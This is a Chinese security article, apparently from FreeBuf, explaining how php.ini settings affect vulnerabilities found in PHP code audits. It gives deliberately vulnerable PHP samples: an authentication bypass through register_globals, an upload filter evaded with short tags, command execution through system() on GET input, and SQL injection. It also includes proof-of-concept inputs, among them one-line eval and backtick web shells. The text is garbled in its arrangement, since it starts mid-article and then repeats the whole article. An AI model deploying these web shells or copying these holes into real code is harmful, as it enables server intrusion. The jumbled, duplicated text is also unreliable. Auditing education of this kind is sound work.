if(($username==="admin") && ($password==="admin123")){
    $authorized = true;
}
// 由于并没有事先把 $authorized 初始化为 false,
// 当 register_globals 打开时,可能通过GET auth.php?authorized=1 来定义该变量值
// 所以任何人都可以绕过身份验证
if ($authorized) {
    echo "You have login";
}else{
    echo "You have login out";
}?>

验证poc:

http://127.0.0.1/test.php?&username=xxx&password=xxx&authorized=true

该特性经常引起变量覆盖漏洞,既可以成为上述绕过身份认证的方法,也可以突破其他已保护的变量产生新漏洞。如sql注入等,此时需要关注该变量被处理时所在的位置。

short_open_tag = On

作用: 这个设置决定是否允许使用PHP代码开始标志的缩写形式 <? ?> 

版本特性: 本特性5.2-5.3版本中测试都是默认开启的

Note:本指令也会影响到缩写形式 <?=,它和 <? echo 等价。使用此缩写需要 short_open_tag 的值为 On。 从 PHP 5.4.0 起, <?= 总是可用的。(反引号执行,如<?=`commend`?>)

不安全范例: 过滤文件上传时对内容检测如果忽略了短标签形式,采用<?php的形式判断,就可被绕过。

<?php
    if(isset($_POST['submit'])){
        $upload1='E:\Environment\phpstudy\PHPTutorial\WWW\upload\shell.php';
        move_uploaded_file($_FILES['upload1']['tmp_name'],$upload1);
        //var_dump($content);
        $content = file_get_contents($upload1);
        if(preg_match('/<\?php/',$content)){
            echo "You are hacker";
        }else{
            echo "You get shell";
        }
    }
?>
<html>
    <head>
        <meta charset="utf-8">
    </head>
    <body>
    <form action="test.php" method="post" enctype="multipart/form-data">
        <input type="file" name="upload1" >
        <input type="submit" name='submit' value="upload">
    </form>
    </body>
</html>

上传的poc:<? eval($_POST['APPLE'])?>

5.4之后版本未开启短标签可以这样:<?=`{$_GET["APPLE"]}`?>

safe_mode = Off

作用: 这个设置禁用了php的一些危险的内置函数,如system(),exec()等 

版本特性: 本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

不安全范例:

在后端该函数内传入了可变变量时,未做好过滤就会产生命令执行漏洞

<?php

$commend=$_GET['commend'];

system("{$commend}");   

?>   

实际的代码审计中如果找到可执行命令的变量,可以先检测环境的配置

Note:与此相关的配置还有safe_mode_exec_dir,disable_classes=,disable_functions=fopen,unlink 

open_basedir =  

作用: 这个设置将用户访问文件的活动范围限制在指定的区域  

版本特性: 本特性在php.ini中需要自行打开配置,或者在脚本运行时动态配置 

不安全范例:  采用该配置限制时目录不规范,就存在访问其他目录的可能。

比如 open_basedir=/var/wwwroot/html(此时html没有用/闭合)那么就可以访问

 /var/wwwroot/html1 

/var/wwwroot/html2

其他文件相关的常见配置

file_uploads = On   ;

upload_max_filesize = 2M ;

upload_tmp_dir=(需要时设置,默认放在主机临时目录) 

display_error = On 

作用: 这个设置将显示php产生的错误 

版本特性: 本特性在php中默认打开,但是真实的站点发布后一般都是关闭的 

不安全范例:  站点发布后未关闭display_error,那么就会暴露服务器的目录信息。还增加了sql注入的风险

其他报错提示设置项:

error_reporting = E_ALL  ;将错误级别显示为最高 

error_log=  ;自定义错误日志的位置,必须对web用户可写入

log_errors=on ;将错误日志输出到文件,而不是直接输出到前端 

magic_quotes_gpc=On 

magic_quotes_runtime=Off 

作用: 前者 为 GPC (Get/Post/Cookie) 操作设置 magic_quotes 状态。 当 magic_quotes_gpc 为 on,所有的 ‘ (单引号)、” (双引号)、\(反斜杠)和 NULL 被一个反斜杠自动转义。

后者打开后,对于数据库和文本文件内容将会用反斜线转义引号。如果启用了 magic_quotes_sybase,单引号会被单引号转义而不是反斜线。

版本特性: 本特性已自 PHP 5.3.0 起废弃(Off)并将自 PHP 5.4.0 起移除。 

不安全范例: 未过滤或未开启gpc的php脚本

<?php

$conn = mysqli_connect("127.0.0.1","root","bwapp","security");                                                                 

$user="admin";

if(isset($_GET['username'])){

    $user=($_GET['username']);

}

$sql="select * from users where username='{$user}'";

if($result=mysqli_query($conn,$sql)){

    var_dump(mysqli_fetch_all($result));

}else{

    echo mysqli_error($conn);

}

三、思考总结

代码审计中同一漏洞在不同的环境下会展现不同的结果,做审计时需要关注漏洞的执行和利用条件,php.ini就是一个值得去关注和利用的重点。程序甚至会由于某些配置会在没有漏洞的情况下产生意想不到的结果

*本文原创作者:qianxing,本文属于FreeBuf原创奖励计划,未经许可禁止转载

一、关于php ini介绍

php.ini

apache在启动时php.ini被读取。对于服务器模块版本的php,仅在web服务器启动时读取一次。对于CGI和CLI版本,每次调用都会被读取

Apache Web服务器在启动时会把目录转到根目录,这将使得PHP尝试在根目录下读取php.ini,如果·存在的话。在php.ini中可以使用环境变量

User.ini

自php5.3.0起,PHP支持基于每个目录的.htaccess风格的INI文件。此类文件仅被CGI/Fastcgi sapi处理。

php_ini_*

模式 含义
PHP_INI_USER 可在用户脚本(例如 ini_set())或 Windows 注册表(自 PHP 5.3 起)以及 .user.ini 中设定
PHP_INI_PERDIR 可在 php.ini,.htaccess 或 httpd.conf 中设定
PHP_INI_SYSTEM 可在 php.ini 或 httpd.conf 中设定
PHP_INI_ALL 可在任何地方设定

二、常见配置

register_globals = off

作用: 这个设置的作用是设置全局变量的自动注册。

版本特性: 本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。5.2.0中默认开启

不安全范例: 

<?php
$username=$_GET['username'];
$password=$_GET['password'];
// 当用户合法的时候,赋值
if(($username==="admin") && ($password==="admin123")){
    $authorized = true;
}
// 由于并没有事先把 $authorized 初始化为 false,
// 当 register_globals 打开时,可能通过GET auth.php?authorized=1 来定义该变量值
// 所以任何人都可以绕过身份验证
if ($authorized) {
    echo "You have login";
}else{
    echo "You have login out";
}?>

验证poc:

http://127.0.0.1/test.php?&username=xxx&password=xxx&authorized=true

该特性经常引起变量覆盖漏洞,既可以成为上述绕过身份认证的方法,也可以突破其他已保护的变量产生新漏洞。如sql注入等,此时需要关注该变量被处理时所在的位置。

short_open_tag = On

作用: 这个设置决定是否允许使用PHP代码开始标志的缩写形式 <? ?> 

版本特性: 本特性5.2-5.3版本中测试都是默认开启的

Note:本指令也会影响到缩写形式 <?=,它和 <? echo 等价。使用此缩写需要 short_open_tag 的值为 On。 从 PHP 5.4.0 起, <?= 总是可用的。(反引号执行,如<?=`commend`?>)

不安全范例: 过滤文件上传时对内容检测如果忽略了短标签形式,采用<?php的形式判断,就可被绕过。

<?php
    if(isset($_POST['submit'])){
        $upload1='E:\Environment\phpstudy\PHPTutorial\WWW\upload\shell.php';
        move_uploaded_file($_FILES['upload1']['tmp_name'],$upload1);
        //var_dump($content);
        $content = file_get_contents($upload1);
        if(preg_match('/<\?php/',$content)){
            echo "You are hacker";
        }else{
            echo "You get shell";
        }
    }
?>
<html>
    <head>
        <meta charset="utf-8">
    </head>
    <body>
    <form action="test.php" method="post" enctype="multipart/form-data">
        <input type="file" name="upload1" >
        <input type="submit" name='submit' value="upload">
    </form>
    </body>
</html>

上传的poc:<? eval($_POST['APPLE'])?>

5.4之后版本未开启短标签可以这样:<?=`{$_GET["APPLE"]}`?>

safe_mode = Off

作用: 这个设置禁用了php的一些危险的内置函数,如system(),exec()等 

版本特性: 本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

不安全范例:

在后端该函数内传入了可变变量时,未做好过滤就会产生命令执行漏洞

<?php

$commend=$_GET['commend'];

system("{$commend}");   

?>   

实际的代码审计中如果找到可执行命令的变量,可以先检测环境的配置

Note:与此相关的配置还有safe_mode_exec_dir,disable_classes=,disable_functions=fopen,unlink 

open_basedir =  

作用: 这个设置将用户访问文件的活动范围限制在指定的区域  

版本特性: 本特性在php.ini中需要自行打开配置,或者在脚本运行时动态配置 

不安全范例:  采用该配置限制时目录不规范,就存在访问其他目录的可能。

比如 open_basedir=/var/wwwroot/html(此时html没有用/闭合)那么就可以访问

 /var/wwwroot/html1 

/var/wwwroot/html2

其他文件相关的常见配置

file_uploads = On   ;

upload_max_filesize = 2M ;

upload_tmp_dir=(需要时设置,默认放在主机临时目录) 

display_error = On 

作用: 这个设置将显示php产生的错误 

版本特性: 本特性在php中默认打开,但是真实的站点发布后一般都是关闭的 

不安全范例:  站点发布后未关闭display_error,那么就会暴露服务器的目录信息。还增加了sql注入的风险

其他报错提示设置项:

error_reporting = E_ALL  ;将错误级别显示为最高 

error_log=  ;自定义错误日志的位置,必须对web用户可写入

log_errors=on ;将错误日志输出到文件,而不是直接输出到前端 

magic_quotes_gpc=On 

magic_quotes_runtime=Off 

作用: 前者 为 GPC (Get/Post/Cookie) 操作设置 magic_quotes 状态。 当 magic_quotes_gpc 为 on,所有的 ‘ (单引号)、” (双引号)、\(反斜杠)和 NULL 被一个反斜杠自动转义。

后者打开后,对于数据库和文本文件内容将会用反斜线转义引号。如果启用了 magic_quotes_sybase,单引号会被单引号转义而不是反斜线。

版本特性: 本特性已自 PHP 5.3.0 起废弃(Off)并将自 PHP 5.4.0 起移除。 

不安全范例: 未过滤或未开启gpc的php脚本

<?php

$conn = mysqli_connect("127.0.0.1","root","bwapp","security");                                                                 

$user="admin";

if(isset($_GET['username'])){

    $user=($_GET['username']);

}

$sql="select * from users where username='{$user}'";

if($result=mysqli_query($conn,$sql)){

    var_dump(mysqli_fetch_all($result));

}else{

    echo mysqli_error($conn);

}

三、思考总结

代码审计中同一漏洞在不同的环境下会展现不同的结果,做审计时需要关注漏洞的执行和利用条件,php.ini就是一个值得去关注和利用的重点。程序甚至会由于某些配置会在没有漏洞的情况下产生意想不到的结果

*本文原创作者:qianxing,本文属于FreeBuf原创奖励计划,未经许可禁止转载